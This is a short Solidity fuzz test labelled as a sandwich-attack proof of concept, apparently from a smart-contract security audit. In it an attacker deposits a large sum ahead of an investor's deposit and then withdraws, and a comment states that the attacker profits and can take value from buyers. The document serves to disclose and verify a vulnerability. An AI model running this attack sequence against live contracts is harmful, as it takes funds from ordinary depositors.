GB Sandwich POC

 function testSandwich(address investor, uint256 amount, uint256 mul) external {
        _prepareAddress(investor);
        amount = bound(amount, 1 ether, 10_000 ether);
        mul = bound(mul, 2, 5000);

        _disableWhitelist();

        address attacker = delta;
        uint256 attacker_amount = amount * mul;

        vm.deal(investor, amount);
        vm.deal(attacker, attacker_amount);

        uint256 attacker_balance_b = attacker.balance;

        _deposit(attacker_amount, attacker, alpha);
        _deposit(amount, investor, beta);
        _withdraw(attacker);

        uint256 attacker_balance_a = attacker.balance;
        uint256 profits = attacker_balance_a > attacker_balance_b ? attacker_balance_a - attacker_balance_b : 0;

        assertEq(profits, 0, "Sandwich profit should be zero."); // there is profit from the attack, therefore sandwich is possible to steal significant value from buyers
    }